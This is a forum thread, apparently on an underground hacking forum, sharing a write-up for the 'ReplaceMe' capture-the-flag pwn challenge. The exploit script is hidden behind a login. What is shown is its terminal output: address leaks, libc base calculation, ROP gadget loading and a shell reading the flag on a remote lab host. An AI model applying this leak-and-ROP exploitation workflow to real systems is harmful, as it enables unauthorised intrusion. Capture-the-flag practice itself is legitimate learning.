[TechArtificer]

This is a full writeup of ReplaceMe challenge including a python script that does all the magic.

Output of the script:

┌──(kali㉿kali)-[~/Downloads/replaceme]
└─$ python replaceme.py
[*]'/home/kali/Downloads/replaceme/replaceme'
    Arch:      amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:        NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:  No
[*]'/home/kali/Downloads/replaceme/libc.so.6'
    Arch:      amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:        NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 94.237.59.30 on port 39881: Done
Leaked address:  0x55989f10f652
[*]Paused (press any to continue)
elf @ 0x55989f10e000
Leaked address:  0x7f1afd817420
[*]Paused (press any to continue)
libc @ 0x7f1afd793000
[*]Loaded 195 cached gadgets for './libc.so.6'
[*]Switching to interactive mode

[+] Thank you! Here is the result:
[...]                                                                                     
$ id
uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)
$ ls
flag.txt
replaceme
$ cat flag.txt
HTB{r34d_...}
$ 

Hidden Content

You must register or login to view this content.

[noter]

appreciate! valuable source to learn, compared with my own script and improved!

[TechArtificer]

appreciate! valuable source to learn, compared with my own script and improved!

Glad you liked the writeup, always good to have something to compare your own solution to.

[mololpp]

thanks you but not making it for free srsly but yeah its a good way to learn pwn

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[NoobMaster669]

Would really love to get this write up working
imma try it out